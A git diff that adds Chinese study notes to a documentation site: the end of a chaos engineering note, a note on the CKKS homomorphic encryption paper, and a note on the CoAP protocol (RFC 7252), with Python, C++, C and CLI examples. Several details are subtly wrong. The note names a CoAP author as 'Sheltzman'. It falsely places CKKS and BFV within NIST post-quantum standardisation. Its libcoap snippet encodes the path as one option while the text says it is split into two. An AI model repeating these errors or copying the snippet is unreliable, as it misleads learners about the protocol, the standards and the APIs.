等于通知全公司「我们没做冗余」——文化上要先让「实例会死」成为默认假设(论文:工程师被迫把容错当日常设计)。 +5. **与变更窗口打架**:在大促当天做区域级 Kong 演练 — 半径与业务日历冲突。 + +## 适用 vs 不适用 + +**适用**: + +- 多实例、多依赖的在线服务(流媒体、电商、API 平台) +- 已有基本可观测性(metrics / tracing / 告警) +- 团队认同「实验可能发现 bug」而不是「实验不能失败」 + +**暂缓或缩小规模**: + +- 尚无自动回滚、无 on-call 覆盖的单点系统 +- 强监管场景下未经审批的生产实验 +- 连单元测试都未绿的新服务 — 先修「确定性错误」,再探索「涌现错误」 + +## 延伸阅读 + +- 论文原文:[arXiv:1702.05843](https://arxiv.org/abs/1702.05843) +- 原则站:[principlesofchaos.org](https://principlesofchaos.org/) +- 自动化平台:[A Platform for Automating Chaos Experiments (ChAP)](https://arxiv.org/abs/1702.05849) +- 开源 Chaos Monkey:[github.com/Netflix/chaosmonkey](https://github.com/Netflix/chaosmonkey) +- 相关笔记:[[firecracker-microvm-2020]](隔离与密度)、[[kubernetes]](编排层承载混沌实验)、[[spanner]](多副本一致性背景) + +## 一句话总结 + +**混沌工程把可靠性从「祈祷生产别出事」变成「在生产中用真实流量做可证伪实验」;Netflix 用 Chaos Monkey 教会工程师「实例随时会死」,再用稳态度量与自动化把这门手艺变成持续学科。** diff --git a/src/content/docs/papers/ckks-homomorphic-2017.md b/src/content/docs/papers/ckks-homomorphic-2017.md new file mode 100644 index 000000000..f5342cd54 --- /dev/null +++ b/src/content/docs/papers/ckks-homomorphic-2017.md @@ -0,0 +1,341 @@ +--- +title: CKKS 同态加密 — 在加密数据上做近似浮点运算 +来源: https://eprint.iacr.org/2016/421.pdf +日期: 2026-06-13 +分类: 安全与隐私 +子分类: 安全与隐私 +难度: 高级 +provenance: pipeline-v3 +--- + +## 是什么 + +这篇 2017 年发表于 ASIACRYPT 的论文 **Homomorphic Encryption for Arithmetic of Approximate Numbers**(作者 Jung Hee Cheon、Andrey Kim、Miran Kim、Yongsoo Song)提出了 **CKKS 方案**——今天工业界最常用的「近似全同态加密」之一。开源实现 HEAAN 库(CryptoLab)的名字直接来自论文标题里的 **HE**(Homomorphic Encryption)+ **AAN**(Arithmetic of Approximate Numbers)。 + +日常类比: + +> 想象你把一叠**带小数点的测量数据**(体温、血压、模型权重)锁进一个**透明保险箱**里。保险箱外的人看不见数字,但可以在箱子上拧旋钮:拧一次「加」,箱内所有数同时加同一个值;拧一次「乘」,所有数同时乘同一个系数——全程不用开锁。拧多了,数字会有一点**磨损**(噪声和舍入误差),就像老式机械计算器最后一位会飘。CKKS 的天才之处在于:**不把磨损当敌人,而是把它当成近似算术里本来就会有的误差**,用「Rescaling(重缩放)」定期擦掉最不重要的尾数位,让磨损可控。 + +这和 [[brakerski-bgv-2012]]、BFV 的精确整数路线根本不同:后者要求明文是**精确整数**,解密结构是 `m + t·e` 或 `q·I + (q/t)·m + e`,乘法会把「噪声」和「有效数字」搅在一起,做浮点近似非常别扭。CKKS 把解密结构改成: + +\[ +\langle c, sk \rangle = m + e \pmod q +\] + +噪声 `e` 直接加在消息 `m` 旁边——如果 `e` 相对 `m` 足够小,就把 `m + e` 整体当作「带误差的近似值」继续算,和浮点运算的「有效位 + 尾数误差」哲学一致。 + +## 零基础前置:同态加密三句话 + +如果你从未接触过同态加密(Homomorphic Encryption,HE),先记住三句话: + +1. **加密**:明文 `m` 变成密文 `c`,外人看不出 `m`。 +2. **同态**:在密文上算 `f(c)`,解密后得到 `f(m)` 的近似——**不用先解密**。 +3. **CKKS 特化**:`m` 是**实数/复数向量**,`f` 是加法和乘法(以及由它们拼出的多项式、Taylor 级数等),结果允许有**可控误差**。 + +论文信息速览: + +| 项目 | 内容 | +|------|------| +| 预印本 | [eprint.iacr.org/2016/421](https://eprint.iacr.org/2016/421.pdf) | +| 会议 | ASIACRYPT 2017 | +| 作者 | Cheon, Kim, Kim, Song(简称 **CKKS**) | +| 实现 | HEAAN、Microsoft SEAL、OpenFHE、TenSEAL | +| 安全假设 | Ring-LWE(环上学习与错误) | + +## 为什么重要 + +不理解 CKKS,下面这些事都讲不清: + +- 为什么 **加密推理**(在云端算神经网络而不暴露输入)默认选 CKKS,而不是 RSA 或 AES +- 为什么 Microsoft SEAL、OpenFHE、TenSEAL 文档里到处是 `scale`、`coeff_modulus`、`rescale`——它们不是随便起的 API 名字,而是论文里的核心操作 +- 为什么隐私机器学习论文里常说「精度损失约 log(depth) 比特」——这是论文 Section 1 证明的**近似最优性** +- 为什么 NIST 后量子标准化里,**精确整数 HE**(BFV)和 **近似实数 HE**(CKKS)是两条平行产品线,不能互相替代 + +论文在 i5-2.9GHz 上实测:14 位精度的**同态乘法逆**摊销约 0.11 ms/slot;用七阶 Taylor 级数同态算 **logistic 函数**约 0.13 ms/slot——比当时没有 batching 的实现快两个数量级。这让「在加密数据上跑统计回归 / 神经网络一层」从理论可行变成工程可测。 + +## 论文要解决的核心矛盾 + +Gentry 的全同态加密奠基工作证明 HE **存在**,但早期方案对「近似实数」极不友好: + +| 路线 | 解密形态 | 近似算术的麻烦 | +|------|----------|----------------| +| BGV 型 | `m + t·e` | 乘法后噪声乘在明文模 `t` 上,**有效位被噪声淹没** | +| BFV/FV 型 | `q·I + (q/t)·m + e` | 乘法产生 `t·I₁·I₂` 项,**MSB 被破坏** | +| 比特编码 | 每位一个密文 | 深度 `d` 需要 `Ω(η·2^d)` 次运算或昂贵 bootstrapping | + +CKKS 的目标:**在 RLWE 安全假设下,对复数/实数向量做 SIMD 同态加乘,模数比特数只随电路深度线性增长,精度损失最多比明文浮点多 1 bit**。 + +## 核心概念 + +### 1. 明文空间:特征零的 cyclotomic 环 + +明文不是 `Z_t` 上的多项式,而是 **R = Z[X]/(Φ_M(X))** 里系数有界的整系数多项式(特征零)。通过 **复数典范嵌入(complex canonical embedding)** σ,把多项式映到 `C^{φ(M)/2}` 的向量——这是一个**等距**环同态,小误差不会在编码时放大。 + +编码流水线(论文 Section 1): + +``` +z ∈ C^{φ(M)/2} → π⁻¹ → H → round → σ(R) → σ⁻¹ → m(X) ∈ R +``` + +`π` 是到子群 T 的投影,`round` 把复数格点化。解码是逆过程。这样 **N/2 个复数 slot** 打进一个密文,同态加乘变成 slot 上的逐元素运算(SIMD)。 + +### 2. 加密与解密 + +- 环:`R_q = Z_q[X]/(X^n+1)`,`n` 是 2 的幂 +- 私钥 `s` 是小系数多项式 +- 密文 `c = (c₀, c₁) ∈ R_q²`,满足 `c₀ + c₁·s ≈ m + e (mod q)` +- **scale(缩放因子 Δ)**:加密前把消息乘 `Δ`(如 `2^40`),让噪声相对有效位更小 + +同态加法:密文分量相加,噪声线性增加。 + +同态乘法:张量积 + **relinearization**(用公开密钥把 `s²` 项压回 `s`),噪声约平方增长——和 BGV 类似,但消息也在变大。 + +### 3. Rescaling(重缩放)——CKKS 的灵魂 + +乘法后消息幅度和噪声都放大约 `Δ` 倍。Rescaling 做: + +``` +输入:c 加密 m,⟨c, sk⟩ = m + e (mod q) +输出:c' = round(p⁻¹ · c) (mod q/p),加密 m/p,噪声约 e/p +``` + +`p` 通常取最后一个模数因子(与 `Δ` 对齐)。效果等价于浮点运算里**丢掉若干 LSB、缩小尾数**——模数链从 `q₀ > q₁ > … > q_L` 逐级下降,**比特数随深度线性增长**,而不是指数爆炸。 + +论文 Figure 2 对比:BGV/FV 乘法破坏 MSB;CKKS 乘法 + Rescale 保留 MSB、裁掉 LSB。 + +### 4. 精度定理(直观版) + +对 `η` 位精度的 `d` 个数做深度 `d` 的乘法电路: + +- 明文浮点:结果约 `η - log d` 位有效精度 +- CKKS 同态:结果约 `η - log d - 1` 位——**最多多损失 1 bit** + +所需最大模数约 `O(η log d)` 比特,远小于比特编码路线的 `Ω(η·2^d)`。 + +### 5. 超越函数 + +Rescaling 让模数可控后,可用 Taylor 级数**同态**算 `exp`、`log`、三角函数、**乘法逆**(论文给出专门优化算法)。实测 logistic 函数(七阶 Taylor)适合疾病预测等统计场景。 + +### 6. 安全假设 + +基于 **Ring-LWE**:给定 `(a, a·s + e)` 无法区分 `e` 是随机还是小噪声。参数由环维数 `n`、模数 `q`、噪声分布决定安全级别(论文实现用 80-bit 安全参数做 benchmark)。 + +## 与 BFV/BGV 怎么选 + +| 维度 | CKKS | BFV / BGV | +|------|------|-----------| +| 明文 | 近似实数/复数 | 精确整数 | +| 解密 | `m + e` | `m + t·e` 或带 `q/t` 缩放 | +| 乘法后 | Rescale 降精度 | Modulus switching / 模数链 | +| 典型场景 | 神经网络推理、统计、浮点 ML | 整数电路、比较、精确计数 | +| 误用后果 | 把工资总额当浮点近似 → 分钱级误差 | 把模型权重塞 BFV → 参数爆炸、极慢 | + +## 实践案例 + +### 案例 1:纯 Python 玩具模型——理解「噪声 + Rescale」 + +下面**不是**真正的 CKKS 实现,而是用浮点数模拟论文的核心直觉:解密得到 `m + e`,乘法放大误差,Rescale 像除以 scale 并四舍五入。 + +```python +import math + +def encrypt_approx(m: float, scale: float, noise: float) -> tuple[float, float]: + """模拟 Enc(m): 存 (scaled_message, noise),解密时 m + e/scale""" + return m * scale, noise + +def decrypt_approx(scaled_m: float, noise: float, scale: float) -> float: + return scaled_m / scale + noise / scale + +def homomorphic_add(a, b, scale): + return (a[0] + b[0], a[1] + b[1]) + +def homomorphic_mul(a, b, scale): + # (m1*scale + e1)(m2*scale + e2) ≈ m1*m2*scale^2 + cross_terms + m1, e1 = a[0] / scale, a[1] + m2, e2 = b[0] / scale, b[1] + prod_m = m1 * m2 + prod_noise = m1 * e2 + m2 * e1 + (e1 * e2) / scale # 交叉项 + return prod_m * scale * scale, prod_noise * scale + +def rescale(ct, p: float): + """除以 p 并四舍五入到整数格点,模拟 rescale_to_next""" + scaled_m = round(ct[0] / p) + scaled_noise = round(ct[1] / p) + return scaled_m, scaled_noise + +scale, p = 1024.0, 1024.0 +x, y = 3.14, 2.71 + +cx = encrypt_approx(x, scale, noise=0.5) +cy = encrypt_approx(y, scale, noise=0.3) + +# 同态乘法 + rescale +cmul = homomorphic_mul(cx, cy, scale) +cmul = rescale(cmul, p) +result = decrypt_approx(cmul[0], cmul[1], scale) + +print(f"明文: {x} * {y} = {x * y:.6f}") +print(f"同态近似: {result:.6f}") +print(f"相对误差: {abs(result - x * y) / (x * y):.2e}") +``` + +运行后你会看到:误差在 `1/scale` 量级,和论文「噪声跟在有效数字后面」的图景一致。真正的 CKKS 在多项式环上操作,但**Rescale 的语义**就是这里演示的「缩小幅度 + 舍入」。 + +### 案例 2:TenSEAL — 加密向量上的多项式求值 + +TenSEAL 封装 Microsoft SEAL,最适合快速体验 CKKS 的「加密浮点向量 + SIMD」。 + +```python +import tenseal as ts + +# poly_modulus_degree=8192 → 4096 个 slot;coeff_mod 链长度决定乘法深度 +context = ts.context( + ts.SCHEME_TYPE.CKKS, + poly_modulus_degree=8192, + coeff_mod_bit_sizes=[60, 40, 40, 40, 60], # 每层乘法消耗一档模数 +) +context.generate_galois_keys() # 旋转 slot 时需要 +context.global_scale = 2**40 # Δ,与 rescale 对齐 + +plain = [1.5, 2.5, 3.5, 4.5] +enc = ts.ckks_vector(context, plain) + +# 同态算 f(x) = x^2 + x(近似) +result = enc * enc + enc +decoded = result.decrypt() + +for i, (a, b) in enumerate(zip(plain, decoded)): + expected = a * a + a + print(f"slot {i}: plain={a}, hom={b:.6f}, expected={expected:.6f}") +``` + +**读代码时注意**: + +- `coeff_mod_bit_sizes` 里有几个「中间档」,大致就能做几次乘法(每次 `rescale` 掉一档) +- `global_scale` 设太大 → 噪声相对消息变小,但模数链要更长;设太小 → 精度不够 +- 解密结果和明文差在 `1/Δ` 量级是正常的,不是实现 bug + +### 案例 3:Microsoft SEAL(C++)— 手动跟踪 scale 与 rescale + +生产环境更常用 SEAL 原生 API;理解 `scale` 与 `rescale_to_next` 是读 CKKS 源码的钥匙。 + +```cpp +#include "seal/seal.h" +using namespace seal; + +size_t poly_modulus_degree = 8192; +EncryptionParameters parms(scheme_type::ckks); +parms.set_poly_modulus_degree(poly_modulus_degree); +parms.set_coeff_modulus(CoeffModulus::Create( + poly_modulus_degree, {60, 40, 40, 60})); + +SEALContext context(parms); +KeyGenerator keygen(context); +auto secret_key = keygen.secret_key(); +PublicKey public_key; +keygen.create_public_key(public_key); +RelinKeys relin_keys; +keygen.create_relin_keys(relin_keys); +Encryptor encryptor(context, public_key); +Evaluator evaluator(context); +Decryptor decryptor(context, secret_key); + +CKKSEncoder encoder(context); +double scale = pow(2.0, 40); + +std::vector input{3.0, 4.0}; +Plaintext plain; +encoder.encode(input, scale, plain); + +Ciphertext encrypted; +encryptor.encrypt(plain, encrypted); + +// 乘法:scale 变为 scale^2,必须 rescale +evaluator.multiply_inplace(encrypted, encrypted); +evaluator.relinearize_inplace(encrypted, relin_keys); +evaluator.rescale_to_next_inplace(encrypted); + +Plaintext plain_result; +decryptor.decrypt(encrypted, plain_result); +std::vector output; +encoder.decode(plain_result, output); + +// output[0] ≈ 9.0, output[1] ≈ 16.0 +``` + +**与论文对应关系**: + +- `encode(..., scale)` = 消息乘 `Δ` 再加密 +- `multiply` + `relinearize` = 同态乘 + 密钥切换 +- `rescale_to_next` = 论文的 `p⁻¹·c (mod q/p)`,scale 也除以 `p` + +### 案例 4:同态 logistic(论文动机场景) + +论文用 batching 同态算 logistic 的七阶 Taylor 近似,用于**加密基因/医疗数据的疾病风险评分**。工程上可拆成: + +1. 用案例 2 加密特征向量 +2. 预计算 Taylor 系数为明文,同态累加 `Σ cᵢ · xⁱ` +3. 每乘一次 `x` 做一次 `rescale`,提前规划模数链深度 + +若电路深度超过模数链,需要 **bootstrapping**(论文原版未强调;后续工作把 CKKS bootstrap 做到实用,OpenFHE 支持)。 + +## 踩过的坑 + +1. **把 CKKS 当精确整数加密**:账本、投票计数请用 BFV;CKKS 解密是「近似」,误差累积可审计但不可消除。 +2. **忘记 rescale**:乘法后不调 `rescale_to_next`,scale 爆炸,下一轮乘法或解密直接错。 +3. **模数链深度不够**:规划电路时数清楚「几次乘法」,每档 `coeff_modulus` 通常支撑一次乘法+rescale。 +4. **slot 数误算**:`poly_modulus_degree = N` 时 slot 数是 **N/2**,不是 N。 +5. **混淆 CKKS 与 HEAAN 商标**:HEAAN 是韩国 CryptoLab 的实现名;算法统称 CKKS;Microsoft SEAL / OpenFHE 实现的是同一方案族,参数不互通。 +6. **忽略 bootstrapping 成本**:无限深度电路需要 bootstrap,单次仍可能秒级——和论文里「浅电路 + rescaling」的毫秒级不是一回事。 + +## 适用 vs 不适用 + +**适用**: + +- 云端推理(加密输入 + 明文或加密权重) +- 联邦学习里的安全聚合(近似梯度) +- 统计分析(均值、方差、回归系数)——容忍 `10⁻⁶` 级误差 +- 学习 HE 栈:CKKS API 是工业文档最丰富的入口 + +**不适用**: + +- 精确金融记账、加密货币余额 +- 需要密文比较 / 分支(CKKS 不原生支持,要配合其他原语) +- 超低延迟在线服务(毫秒级单 op 可接受,但大模型全链路仍慢几个数量级) +- 不做参数审计就上生产(80-bit 论文 benchmark ≠ 128-bit 产品要求) + +## 历史小故事 + +- 论文 **eprint 2016/421** 先挂 IACR ePrint,HEAAN 库 2016 年 5 月已在 GitHub 开源——实现领先正式发表。 +- 名称 **CKKS** 来自四位作者姓氏 Cheon-Kim-Kim-Song;第二、三位 Kim 是不同研究者。 +- ASIACRYPT 2017 发表后,CKKS 迅速成为 **隐私机器学习** 默认 HE 方案;BFV 仍在整数场景活跃。 +- 论文把加密噪声重新定义为「误差的一部分」,影响后续 **近似 FHE** 整条线(含 bootstrap 综述里对 CKKS 的专门章节)。 + +## 学到什么 + +- **同态加密不止一条路线**:精确整数(BFV/BGV)与近似实数(CKKS)解决不同问题,选型先于调参。 +- **Rescaling 是 CKKS 相对 modulus switching 的概念创新**:不是简单换模数,而是**对齐浮点舍入语义**。 +- **SIMD batching + 典范嵌入** 让一次密文算一整条向量,论文里 logistic 加速主要来自这里。 +- **安全与精度一起规划**:模数链、scale、噪声预算要在加密前画电路深度表。 +- 读实现时盯住三个词:`scale`、`relinearize`、`rescale`——它们几乎就是论文 Algorithm 1–3 的代码化。 + +## 延伸阅读 + +- 原文 PDF:[eprint.iacr.org/2016/421](https://eprint.iacr.org/2016/421.pdf) +- HEAAN 原始库:`github.com/snucrypto/HEAAN` +- Microsoft SEAL 文档:CKKS 编码与 rescaling 章节 +- [[brakerski-bgv-2012]] —— 模数切换与层级 FHE +- [[ducas-dilithium-2018]] —— 同站后量子密码笔记(格密码另一应用:签名) +- [[rsa-1978]] —— 公钥密码范式起源 + +## 关联 + +- [[brakerski-bgv-2012]] —— BGV:精确整数 + 模数切换 +- [[ducas-dilithium-2018]] —— 格密码签名 +- [[rsa-1978]] —— 公钥密码范式起源 +- [[signal-double-ratchet-2016]] —— 端到端加密另一路线(对称 + DH,非同态) + +## 维护备注 + +- `来源` 字段指向 eprint PDF;正式会议版本见 ASIACRYPT 2017。 +- 分类由 `node scripts/classify-notes.mjs --apply --area=papers` 维护。 diff --git a/src/content/docs/papers/coap-rfc7252.md b/src/content/docs/papers/coap-rfc7252.md new file mode 100644 index 000000000..afc654f06 --- /dev/null +++ b/src/content/docs/papers/coap-rfc7252.md @@ -0,0 +1,274 @@ +--- +title: CoAP RFC 7252 — 给传感器用的「超短明信片 HTTP」 +来源: https://datatracker.ietf.org/doc/html/rfc7252 +日期: 2026-06-13 +子分类: 嵌入式与 IoT +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象一栋老小区,每户门口有个**极小的信箱**(单片机、温湿度探头、门磁),供电靠纽扣电池,内存只有几十 KB,网络是慢吞吞、偶尔丢包的无线(6LoWPAN / LoRa / NB-IoT)。 + +这种设备没法跑完整的 HTTP 客户端:TCP 三次握手、几十 KB 的请求头、长连接保活,都太奢侈。它们需要的是: + +- **一张明信片就能说完**——固定 4 字节头 + 紧凑选项,整条消息常常只有十几字节; +- **寄出去不用等回信也行**——默认 UDP,不维持「电话线」; +- **真要可靠就贴回执**——可选的 CON/ACK 重传,像挂号信; +- **地址写成「/温度」「/灯/开关」**——REST 风格 URI,和 Web 思维一致。 + +**CoAP(Constrained Application Protocol,受限应用协议)** 就是 IETF 在 **2014 年 6 月** 用 [RFC 7252](https://datatracker.ietf.org/doc/html/rfc7252) 定下的这套「明信片 REST」。作者 Sheltzman, Hartke, Bormann 来自 CoRE(Constrained RESTful Environments)工作组——目标不是替代 HTTP,而是让**最弱的节点**也能参与同一套资源模型。 + +规范全文:[RFC 7252 — The Constrained Application Protocol (CoAP)](https://datatracker.ietf.org/doc/html/rfc7252) + +## 这篇规范在说什么 + +| 维度 | 内容 | +|------|------| +| 传输 | 默认 **UDP**(一报文一 CoAP 消息);可用 **DTLS** 加密(RFC 7252 §9.1) | +| 模型 | **REST**:资源用 URI 标识,方法 GET/PUT/POST/DELETE,响应带状态码 | +| 消息类型 | CON(需确认)、NON(不需确认)、ACK、RST | +| 可靠性 | 应用层对 CON 消息指数退避重传,不靠 TCP | +| 扩展 | Observe(RFC 7641)、Block-wise(RFC 7959)、组播(RFC 7390)等建立在 CoAP 之上 | + +一句话:**CoAP = 把 HTTP 的「资源 + 动词 + 状态码」压缩进 UDP 报文,并自己处理丢包与重复。** + +## 和 HTTP / MQTT 怎么选 + +| 协议 | 日常类比 | 典型场景 | +|------|----------|----------| +| **HTTP/1.1** | 挂号信 + 长电话 | 浏览器、API 网关、富客户端 | +| **CoAP** | 明信片 + 可选回执 | 传感器、Actuator、mesh 内一跳 | +| **MQTT** | 小区广播站 + 信箱 | 经 Broker 的 pub/sub、弱网海量终端 | + +若设备要**直接问某个 IP 上的 `/sensor/temp`**,CoAP 很自然;若成千上万设备只往**主题**上扔数据、由云端 Broker 转发,MQTT 更常见。二者常共存:边缘网关 **CoAP ↔ MQTT** 翻译。 + +## 核心概念一:四层报文结构 + +RFC 7252 §3 规定每条 CoAP 消息: + +``` + 0 1 2 3 + 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +|Ver| T | TKL | Code | Message ID | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Token (if any, TKL bytes) ... ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Options (Zero or more) ... ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +|1 1 1 1 1 1 1 1| Payload (if any) ... ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +``` + +| 字段 | 含义 | +|------|------| +| **Ver** | 版本,必须为 `1` | +| **T (Type)** | 0=CON, 1=NON, 2=ACK, 3=RST | +| **TKL** | Token 长度 0–8 字节;用来匹配**异步**请求与响应 | +| **Code** | 请求为方法码(0.01=GET…),响应为类.细节(2.05=Content…) | +| **Message ID** | 16 位,去重 + 匹配 CON 与 ACK/RST | +| **Options** | 类型-长度-值,如 Uri-Path、Content-Format、Observe | +| **Payload** | 前有固定标记字节 `0xFF` | + +**最小消息仅 4 字节**——比 HTTP 请求行还短 orders of magnitude。在 6LoWPAN 里单帧常限 ~127 字节,CoAP 鼓励应用控制报文大小,超大体用 Block 选项分块(RFC 7959)。 + +## 核心概念二:CON / NON 与请求-响应 + +§4 .messaging 模型: + +``` +Client Server + | CON GET /temp [MID=0x7d34, Token=0x9a] + |---------------------------------------->| + | ACK [MID=0x7d34] | (空 ACK,表示「收到了」) + |<----------------------------------------| + | CON 2.05 Content [MID=0x0012, Token=0x9a, payload=23.5] + |<----------------------------------------| + | ACK [MID=0x0012] | + |---------------------------------------->| +``` + +- **CON**:像挂号信;超时未收到 ACK 会**指数退避重传**(默认参数下约 250 msg/s 上限/对端)。 +- **NON**:像普通明信片;不重传,适合高频 telemetry。 +- **ACK**:只确认「收到了这条 CON」,**不一定带业务响应**;业务响应往往是另一条 CON/NON,靠 **Token** 与请求关联。 +- **RST**:对端无法处理该 CON 时拒绝(例如选项非法)。 + +这与 TCP「字节流里顺序藏着一个 HTTP 响应」不同:CoAP 明确区分**传输层确认**与**应用层响应**,且响应可晚到、可拆成多条消息。 + +## 核心概念三:REST 方法与响应码 + +§5.8 方法码(Code 高 3 位为 0 表示请求): + +| Code | 方法 | 语义 | +|------|------|------| +| 0.01 | GET | 读取资源表示 | +| 0.02 | POST | 处理、创建子资源 | +| 0.03 | PUT | 创建/替换 | +| 0.04 | DELETE | 删除 | + +响应码沿用 HTTP 风格三位数字的**压缩版**: + +| Code | 含义 | +|------|------| +| 2.05 | Content — GET 成功带 body | +| 2.04 | Changed — PUT/POST/DELETE 成功 | +| 4.04 | Not Found | +| 4.13 | Request Entity Too Large — 常触发客户端改用 Block 传输 | + +常用选项: + +| Option | 作用 | +|--------|------| +| `Uri-Host` / `Uri-Port` / `Uri-Path` / `Uri-Query` | 拼出 `coap://host/path?query` | +| `Content-Format` | payload 类型,如 `50` = `application/json` | +| `Max-Age` | 响应可缓存秒数 | +| `ETag` / `If-Match` | 并发写与条件更新 | + +默认 UDP 端口 **5683**,DTLS 常用 **5684**。 + +## 代码示例一:Python aiocoap 读温度 + +下面用 [aiocoap](https://aiocoap.readthedocs.io/) 向假想传感器发 CON GET(库会自动处理 ACK 与 Token): + +```python +import asyncio +from aiocoap import Context, Message, GET + +async def read_temperature(): + protocol = await Context.create_client_context() + request = Message(code=GET, uri="coap://[fd00::1]/sensor/temp") + request.opt.content_format = 50 # application/json + response = await protocol.request(request).response + print(f"Code: {response.code}") # 例如 2.05 Content + print(f"Payload: {response.payload}") # b'{"c":23.5}' + +asyncio.run(read_temperature()) +``` + +要点: + +- `uri` 拆成 Host/Path 等选项由库完成; +- `.response` 等待的是**带相同 Token 的响应消息**,不是第一条 ACK; +- 弱网下库按 RFC 默认超时重传 CON。 + +## 代码示例二:用 coap-cli 手搓报文(调试向) + +安装 [coap-cli](https://www.npmjs.com/package/coap-cli) 后可直接打真实或 [coap.me](https://coap.me/) 测试服: + +```bash +# CON GET,默认端口 5683 +coap get coap://coap.me/hello + +# 指定 JSON Accept,观察响应头里的 Mid、Token +coap get -o Accept -O 50 coap://californium.eclipseprojects.io/.well-known/core + +# PUT 一小段 JSON(注意设备侧常限 payload 大小) +echo '{"on":true}' | coap put coap://[2001:db8::1]/actuator/relay1 -c 50 +``` + +`.well-known/core` 返回 **CoRE Link Format**(RFC 6690)——列出服务器有哪些资源路径,像微型站点地图: + +``` +;rt="temperature";if="sensor", +;rt="light";if="actuator" +``` + +排障时先看 **MID 是否重复**(代理或双发)、**Token 是否对得上**(别把 ACK 当最终响应)。 + +## 代码示例三:libcoap 风格的最小 C 伪代码(感受选项编码) + +嵌入式侧常用 [libcoap](https://libcoap.net/),逻辑等价于: + +```c +coap_pdu_t *request = coap_pdu_init(COAP_MESSAGE_CON, COAP_REQUEST_CODE_GET, + coap_new_message_id(session), 8 /* token len */); +coap_add_option(request, COAP_OPTION_URI_PATH, 11, (uint8_t *)"sensor/temp"); +coap_add_option(request, COAP_OPTION_URI_PATH, 4, (uint8_t *)"temp"); +coap_add_token(request, token_len, token); /* 匹配响应 */ +coap_send(session, request); + +/* 回调里:收到 2.05 且 token 相同 → 解析 payload */ +``` + +路径 `sensor/temp` 被拆成**两个** `Uri-Path` 段(不是字符串里的一个 `/` 选项)——这是新人解析 Wireshark 时常见的困惑点。 + +## Observe:订阅资源变更(RFC 7641) + +在 GET 里带上 **Observe 选项**(序号 6,空值或 0/1)可建立观察关系:服务器在资源变化时主动发 **2.05 Notification**(仍为 CON/NON + Token)。 + +``` +Client GET /temp Observe:0 ──> Server +Client <── 2.05 temp=23.1 (notification) +Client <── 2.05 temp=23.4 (notification) +Client GET /temp Observe:1 ──> 取消观察 +``` + +像给 `/temp` 办了个「变更推送」,但**没有 MQTT Broker**——是客户端与资源服务器之间的直接关系。大 payload 通知应配合 **Block2**(RFC 7959)。 + +## 安全与部署要点 + +| 话题 | RFC 7252 说法 | +|------|----------------| +| 加密 | **DTLS 1.2+** 绑在 CoAP 之下;预共享密钥 PSK 在受限设备上很常见 | +| 组播 | UDP 组播 CoAP 需单独规范(RFC 7390);注意 CON 在组播上的重传风暴 | +| IP 分片 | 规范**不鼓励**依赖 IP 分片;应用应用 Block 或缩小表示 | +| 缓存 | 中间 **CoAP-HTTP 代理**(RFC 7252 §10)可把 `coap://` 翻成 `http://` | + +## 踩过的坑 + +1. **把 ACK 当业务响应**:ACK 只表示「收到 CON」;真正数据在后续带 Token 的 2.xx 里。 +2. **Token 固定为 0**:多路并发请求时 Token 冲突,响应张冠李戴;应随机 1–8 字节。 +3. **Message ID 复用太快**:同一对端未确认完又发同 MID,对端当重复丢弃。 +4. **Uri-Path 编码**:多段路径是多个选项,不是带 `/` 的一个字符串。 +5. **以为 CoAP = 小 HTTP over TCP**:RFC 7252 核心是 **UDP**;CoAP over TCP(RFC 8323)是后话,栈与调试工具都不同。 +6. **忽略 4.13**:体太大应走 Block,而不是硬调 MTU。 + +## 适用 vs 不适用 + +**适用**: + +- 电池供电、KB 级 RAM 的传感器 / 执行器 +- mesh / LLN(低功耗有损网络)上的**一跳 REST** +- 需要与 HTTP 世界互通(CoAP-HTTP 代理、LWM2M 设备管理) +- 组播发现、`.well-known/core` 资源自描述 + +**不适用**: + +- 需要有序字节流、大文件、复杂鉴权会话 → **HTTPS / HTTP/2** +- 海量终端经云端总线解耦 → **MQTT** 等 pub/sub +- 浏览器里直接跑(无原生 CoAP)→ 通常 **WebSocket + HTTP API** 或 **CoAP over WebSockets**(另规范) + +## 历史与生态 + +- **2010 前后**:IETF CoRE 工作组在 6LoWPAN 浪潮中起草 CoAP,吸取 REST 与 SMS 二进制协议经验。 +- **2014-06**:RFC 7252 发布,成为 **OMA LWM2M**、**Thread**、工业网关的事实传输层之一。 +- **后续扩展**:Observe (7641)、Block (7959)、OSCORE 对象安全 (8613)、CoAP over TCP/TLS (8323)。 + +## 学到什么 + +1. **REST 可以比 HTTP 瘦一个数量级**——方法、状态码、URI 思维保留,传输换成 UDP + 可选 CON。 +2. **可靠性可以叠在 UDP 上**——CON/ACK + 重传是应用层设计,不是只有 TCP 才能「可靠」。 +3. **Token 与 Message ID 分工明确**——前者匹配请求/响应,后者管传输去重与确认。 +4. **扩展走 Options**——Observe、Block 不改头格式,符合「受限」哲学。 + +## 延伸阅读 + +- 协议原文:[RFC 7252](https://datatracker.ietf.org/doc/html/rfc7252)(建议 §1、§2.1、§3、§5.8、§5.10) +- 观察资源:[RFC 7641 — CoAP Observe](https://datatracker.ietf.org/doc/html/rfc7641) +- 分块传输:[RFC 7959 — Block-Wise Transfers](https://datatracker.ietf.org/doc/html/rfc7959) +- 公共试手:[coap.me](https://coap.me/) / Eclipse Californium 演示服 +- [[mqtt-v5-spec]] —— 与 MQTT 的 pub/sub 模型对照 +- [[websocket-rfc-6455]] —— 浏览器侧实时通道的另一条路 + +## 关联 + +- [[mqtt-v5-spec]] —— 物联网里「经 Broker 广播」 vs CoAP「端到端 REST」 +- [[websocket-rfc-6455]] —— 富客户端双向通道;CoAP 面向受限端 +- [[tls-1-3-rfc8446]] —— DTLS 与 TLS 共享密码学,部署思路相通 +- [[matter-protocol-1-0]] —— 消费物联网栈常在其下承载 UDP/IP 与设备模型 + +## 反向链接 + + diff --git a/src/content/docs/papers/codemirror-6-architecture.md 